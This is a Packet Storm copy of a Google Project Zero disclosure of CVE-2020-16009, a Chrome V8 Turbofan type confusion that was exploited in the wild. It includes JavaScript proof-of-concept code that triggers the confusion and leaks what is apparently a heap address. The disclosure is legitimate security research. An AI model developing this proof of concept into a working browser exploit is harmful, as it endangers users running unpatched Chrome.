what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome V8 Turbofan Type Confusion

Chrome V8 Turbofan Type Confusion
Posted Nov 9, 2020
Authored by saelo, Google Security Research

Turbofan fails to deoptimize code after map deprecation, leading to a type confusion vulnerability.

tags | exploit
advisories | CVE-2020-16009
SHA-256 | 4675105280cdacd6d7b10a3432235de93f0ad03438e55b1af205dc5e314ff026

Chrome V8 Turbofan Type Confusion

Change Mirror Download
V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

VULNERABILITY DETAILS

When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next

bool Map::CanBeDeprecated() const {
for (InternalIndex i : IterateOwnDescriptors()) {
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
if (details.representation().IsNone()) return true;
if (details.representation().IsSmi()) return true;
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---
return true;
if (details.representation().IsHeapObject()) return true;
if (details.kind() == kData && details.location() == kDescriptor) {
return true;
}
}
return false;
}

As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:

// Requires --nomodify-field-representation-inplace

function poc() {
function hax(o) {
o.a = 13.37;
}

let o1 = {};
for (let i = 0; i < 100000; i++) {
let o = i == 1000 ? {} : o1;
hax(o);
}

let o2 = {};
o2.a = {};
// Map1 is now deprecated
// %HaveSameMap(o2, o1) === false

let o3 = {};
hax(o3);
// o3 was now transitioned to a deprecated map
%DebugPrint(o3);
// ...
// - deprecated_map
}
%NeverOptimizeFunction(poc);
poc();

This code ends up performing a new transition to a deprecated map.

This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to

1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.

The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.

REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax

function assert(c) {
if (!c) { throw \"Assertion failed\"; }
}

function assertFalse(c) {
assert(!c);
}

function poc() {
function hax(o) {
o.c = 13.37;
}

function makeObjWithMap5() {
let o = {};
o.a = 13.37;
o.b = {};
return o
}

// Create a bunch of Maps. See the assertions for their relationships

let m1 = {};

let m2 = {};
assert(%HaveSameMap(m2, m1));
m2.a = 13.37;

let m3 = {};
m3.a = 13.37;
assert(%HaveSameMap(m3, m2));
m3.b = 1;

let m4 = {};
m4.a = 13.37;
m4.b = 1;
assert(%HaveSameMap(m4, m3));
m4.c = {};

let m4_2 = {};
m4_2.a = 13.37;
m4_2.b = 1;
m4_2.c = {};
assert(%HaveSameMap(m4_2, m4));

let m5 = {};
m5.a = 13.37;
assert(%HaveSameMap(m5, m2));
m5.b = 13.37;
assertFalse(%HaveSameMap(m5, m3));

// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
assertFalse(%HaveSameMap(m5, m3));

let m6 = makeObjWithMap5();
assert(%HaveSameMap(m6, m5));
hax(m6);

let kaputt = makeObjWithMap5();
assert(%HaveSameMap(kaputt, m5));

for (let i = 0; i < 100000; i++) {
let o = i == 1337 ? makeObjWithMap5() : m6;
hax(o);
}

// Map4 is deprecated, so this property access triggers a Map migration.
// This will end up creating a new Map, Map7, to which both Map4 and Map6
// migrate. Map5's transition entry afterwards points to Map7 and no
// longer to Map6. Map6 is deprecated.
let m7 = m4_2;
assert(%HaveSameMap(m7, m4));
m7.c;
assertFalse(%HaveSameMap(m7, m4));

// However, hax was not deoptimized and still transitions to Map6 because
// Map::CanBeDeprecated returns false for it.

// This does a in-place map generalization of Map5 and Map7, but not Map6.
// Map6 still indicates that .a should be a double field.
kaputt.a = \"asdf\";
assert(%HaveSameMap(kaputt, m5));

// This now migrates to the wrong map (Map6) because hax was not deoptimized.
// This is incorrect because .a now stores a HeapObject and not a double.
hax(kaputt);

// This now fails in debug builds
%HeapObjectVerify(kaputt);

// This prints (presumably) an address in release builds
console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);

poc();


CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1


Related CVE Numbers: CVE-2020-16009.



Found by: saelo@google.com

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close